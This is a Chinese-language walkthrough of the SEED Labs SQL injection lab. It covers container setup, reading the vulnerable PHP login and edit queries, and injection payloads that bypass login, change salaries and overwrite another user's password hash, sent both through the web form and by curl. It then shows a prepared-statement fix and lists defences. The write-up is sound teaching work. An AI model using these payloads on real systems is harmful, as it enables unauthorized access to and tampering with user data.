相关资料
https://seedsecuritylabs.org/Labs_20.04/Web/Web_SQL_Injection/
实验准备
进入 Labsetbup 后执行下列命令
sudo docker-compose up -d
而后如果想要查看容器日志可以执行
sudo docker ps
sudo docker logs -f 7c1c5de1a18e
进入容器则使用
sudo docker exec -it 7c1c5de1a18e bash
修改 host 文件
sudo nano /etc/hosts
向其中加入
10.9.0.5 www.seed-server.com
10.9.0.5 www.example.com
Task 1: Get Familiar with SQL Statements
mysql -u root -p
dees
use sqllab_users;
show tables;
desc credential;
select * from credential where Name='Alice';
Task 2: SQL Injection Attack on SELECT Statement
Task 2.1: SQL Injection Attack from webpage
使用命令进入容器查看
sudo docker ps
sudo docker exec -it 21488f2618cd bash
cat /var/www/SQL_Injection/unsafe_home.php
观察 nsafe_home.php
,看到里面有如下判断
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
可以看出来,他压根没有做 SQL 防护
使用下列代码进行 SQL 注入
admin';#
‘ 是为了适配前半部分的 ‘
;# 在此处结束了 sql 查询,并且将后面的代码给注释掉了。
当然也可以使用这种恒真式进行注入:
qiu' or '1=1';#
Task 2.2: SQL Injection Attack from command line
在使用命令行的时候主要注意进行 URL 转码
curl "http://www.seed-server.com/unsafe_home.php?username=admin'%3B%23&Password="
看到已经显示了所有用户信息
Task 2.3: Append a new SQL statement
注入
Alice'; update credential set name=A where ID=1;#
可以看到注入不成功
Task 3: SQL Injection Attack on UPDATE Statement
Task 3.1: Modify your own salary
进入 Alice 修改个人资料的页面
账号密码格式如下
username: alice
password: seedalice
我们去容器里看unsafe_edit_backend.php
cat /var/www/SQL_Injection/unsafe_edit_backend.php
观察其 sql 防御的代码,也还是不咋样
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;";
}else{
// if passowrd field is empty.
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
注入
',salary='30000' where ID=1;#
可以看到我们成功修改我们原本不能修改的 salary 字段
Task 3.2: Modify other people’salary
、这里的点在于将 ID 改成别人的
',salary='31415' where ID=2;#
看看 Boby 的
Task 3.3: Modify other people’spassword
此时登录的是 Boby 的嘛,干脆就改 Alice 的。
这个其实也是没有什么难度,无非就是改一下字段,哦注意一下,此处的 PASSWORD 是经过加密的
我们再回去看nsafe_home.php
,可以发现其 PWD 是经过 sha1 加密
这里其实就比较开始不可能了,因为正常情况下不可能知道加密方式,就是知道方式,但是我们正常是使用加密算法,而不是 哈希摘要算法,因此密钥又成了另一个问题。
则此时注入代码就变成了
',Password='7c4a8d09ca3762af61e59520943dc26494f8941b' where ID=1;#
此时用123456
成功登录 Alice
Task 4: Countermeasure — Prepared Statement
登录 http://www.seed-server.com/defense
这里我们需要将参数与查询分离。修改 /var/www/SQL_Injection/defense/unsafe.php
nano /var/www/SQL_Injection/defense/unsafe.php
注释原本的代码,插入下列代码
$stmt = $conn->prepare("SELECT id, name, eid, salary, ssn
FROM credential
WHERE name = ? and Password = ? ");
$stmt->bind_param("ss", $input_uname, $hashed_pwd);
$stmt->execute();
$stmt->bind_result($id, $name, $eid, $salary, $ssn);
$stmt->fetch();
此时可以发现已经攻击失败了,攻击代码可以使用上面的代码来测试。
SQL 注入防护的原理主要基于以下几个方面:
此处主要是基于参数化查询
- 参数化查询(Prepared Statements):
- 参数化查询是防止 SQL 注入的最有效方法之一。
- 在这种方法中,SQL 语句在编译时已经定义好,只将用户输入作为参数传递给这些语句。
- 这样可以确保用户输入被当作数据处理,而不是作为 SQL 代码的一部分执行。因此,即使输入中含有潜在的恶意代码,也不会被执行。
- 存储过程(Stored Procedures):
- 存储过程类似于参数化查询,但它们是在数据库中预先编写和存储的。
- 存储过程中的代码在调用时执行,而用户输入作为参数传递给这些过程。
- 这样不仅有助于防止 SQL 注入,还可以提高性能和重用代码。
- 输入验证(Input Validation):
- 输入验证是限制、审查用户输入的过程。
- 通过对用户输入进行类型检查、长度限制、格式限制等,可以减少恶意输入的可能性。
- 但需要注意的是,输入验证本身不能完全防止 SQL 注入,应与其他措施结合使用。
- 使用ORM(Object-Relational Mapping)工具:
- ORM 工具可以自动将数据从对象模型转换为数据库模型,通常包括内置的防注入机制。
- 使用 ORM 可以减少直接编写 SQL 代码的需要,从而降低 SQL 注入的风险。
- 逃逸特殊字符(Escaping Special Characters):
- 对用户输入中的特殊字符进行逃逸处理,可以防止这些字符被解释为 SQL 代码的一部分。
- 但这种方法需要谨慎使用,因为不同的数据库系统对特殊字符的处理可能不同。
- 最小权限原则(Principle of Least Privilege):
- 确保数据库的访问权限尽可能地受限。
- 应用程序不应该使用具有高级权限(如修改表结构、管理用户等)的数据库账户。